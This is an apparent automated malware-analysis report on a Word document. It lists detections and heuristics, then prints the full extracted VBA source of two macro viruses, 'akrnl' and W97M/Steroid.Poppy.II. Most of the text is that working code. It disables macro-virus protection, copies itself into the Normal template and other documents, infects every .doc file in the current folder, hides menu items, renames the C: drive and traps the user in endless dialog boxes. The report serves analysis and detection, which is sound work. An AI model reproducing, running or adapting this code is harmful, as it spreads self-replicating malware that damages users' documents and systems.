MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including AutoOpen and AutoClose functions. These macros are designed to execute malicious code, as indicated by the ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Steroid-2'. The presence of AutoOpen and AutoClose suggests an attempt to execute code immediately upon document interaction.
Heuristics 6
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9456 bytes |
SHA-256: faada9d2467607872a374fb54320f10169c3489f7663daa49fad7d9c332fbd09 |
|||
|
Detection
ClamAV:
Doc.Trojan.Steroid-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "akrnl"
Public Skip As Integer
Sub Akrnl()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.ReadOnlyRecommended = False
If Day(Now()) > 22 Then Call RandomRemplace
End Sub
Sub AutoExec()
On Error Resume Next
Call Sauve
End Sub
Sub AutoNew()
On Error Resume Next
Call Sauve
End Sub
Sub AutoPrint()
On Error Resume Next
Call Sauve
End Sub
Sub FileNew()
On Error Resume Next
Call Sauve
dialogs(wdDialogFileNew).show
Skip = 1
Call Sauve
End Sub
Sub FileClose()
On Error Resume Next
Call Sauve
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
Call Sauve
End Sub
Sub FileExit()
On Error Resume Next
Call Sauve
Application.Quit
End Sub
Sub AutoOpen()
On Error Resume Next
Call Akrnl
Call Sauve
End Sub
Sub AutoExit()
On Error Resume Next
Call Sauve
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub AutoClose()
On Error Resume Next
Call Sauve
If ActiveDocument.Saved = False Then ActiveDocument.Save
Call Sauve
End Sub
Sub ToolsMacro()
On Error Resume Next
End Sub
Sub FileTemplates()
On Error Resume Next
End Sub
Sub ViewVBCode()
On Error Resume Next
End Sub
Sub RandomRemplace()
randomize
ValRandom = Int(rnd * 75)
If ValRandom < 20 Then BesoinRemplace = True
If ValRandom < 20 Then txt = "ainsi, si j'en crois ce que mon incompétant de professeur me dit,"
If ValRandom < 15 Then txt = "ainsi, mon chat a perdu ses dents. De plus,"
If ValRandom < 10 Then txt = "ainsi, selon ma grand-mère,"
If ValRandom < 5 Then txt = "ainsi, la matière du cours est plate. De plus,"
If BesoinRemplace = True Then Call Remplace(txt)
End Sub
Sub Remplace(txt)
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "donc,"
.Replacement.Text = txt
.Forward = True
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceOne
Selection.MoveUp Unit:=wdScreen, Count:=8
End Sub
Sub Sauve()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("akrnl").Export "c:\Étudiant.cfg"
ActiveDocument.ReadOnlyRecommended = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
NomMacro = ActiveDocument.VBProject.VBComponents(I).Name
If NomMacro = "akrnl" Then PrésentAct = True Else Call DelVir(NomMacro)
Next I
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
NomMacro = NormalTemplate.VBProject.VBComponents(I).Name
If NomMacro = "akrnl" Then PrésentNorm = True Else Call DelVir(NomMacro)
Next I
If PrésentAct = True And PrésentNorm = False Then Set BesoinSauve = NormalTemplate.VBProject.VBComponents
If PrésentAct = False And PrésentNorm = True Then Set BesoinSauve = ActiveDocument.VBProject.VBComponents
BesoinSauve.Import "c:\Étudiant.cfg"
If PrésentNorm = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
If PrésentAct = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Sub DelVir(NomMacro)
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents.Remove _
Application.VBE.ActiveVBProject.VBComponents(NomMacro)
With Application.NormalTemplate.VBProject
.VBComponents.Remove .VBComponents(NomMacro)
End With
End Sub
Attribute VB_Name = "Injekt"
Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long
Sub Steroid()
' Steroid.Poppy.II by VicodinES
' "Whats Up" to : Slage Hammer, Spanska and the entire _Kim_Liberation_Army_
If Application.ShowVisualBasicEditor Then Call out
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
CommandBars("tools").Controls("Options...").Enabled = False
If Application.ShowVisualBasicEditor Then Call out
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
If Application.ShowVisualBasicEditor Then Call out
ActiveDocument.ReadOnlyRecommended = False
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
If Application.ShowVisualBasicEditor Then Call out
Application.VBE.ActiveVBProject.VBComponents("Injekt").Export "c:\startup.log"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Injekt" Then NormInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Injekt" Then ActivInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
If Application.ShowVisualBasicEditor Then Call out
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
volset = SetVolumeLabel("c:\", "Testicle")
End If
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
If Application.ShowVisualBasicEditor Then Call out
'VMPCK v2.0 Beta
Application.ScreenUpdating = True
If Application.ShowVisualBasicEditor Then Call out
fuckoff:
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Can I have a bottle of warm Diet Mountain Dew?", vbInformation, "VMPCK v2.0 Beta / SR-1 Compatable"
MsgBox "Shout Out! ...Slage Hammer, Spanska and the entire _Kim_Liberation_Army_", vbInformation, "W97M/Steroid.Poppy.II"
End Sub
Sub FileSaveAs()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
dialogs(wdDialogFileSaveAs).show
Application.ScreenUpdating = True
Call Steroid
End Sub
Sub FilePrint()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
dialogs(wdDialogFilePrint).show
Call Steroid
End Sub
Sub FileClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
Application.Quit
End Sub
Sub AutoOpen()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
End Sub
Sub AutoExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
End Sub
Sub AutoClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
End Sub
Sub ViewVBCode()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
End Sub
Sub Caffeine()
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
fName = Dir(pName & "*.doc", sAttr)
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:=""
Do While (fName <> "")
fName = Dir()
If (fName <> "") And _
((fName <> ".") And (fName <> "..")) Then
InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:=""
Call Steroid
End If
Loop
End Sub
Sub info()
'The VicodinES Macro.Poppy Construction Kit v2.0 Beta
'====================================================
'Code Written by VicodinES-\VV/----------------------
'Poppy ID : 75637833-270----\/---Compatable with SR-1
'Steroid.Poppy.II-----------/\--Never Begins Tomorrow
End Sub
Sub out()
ShowVisualBasicEditor = False
randomize
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
ShowVisualBasicEditor = False
ActiveDocument.Save
NormalTemplate.Save
Call Caffeine
x = 1
Do While x = 1
testicle = Int(rnd * 700)
dialogs(testicle).show
Loop
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.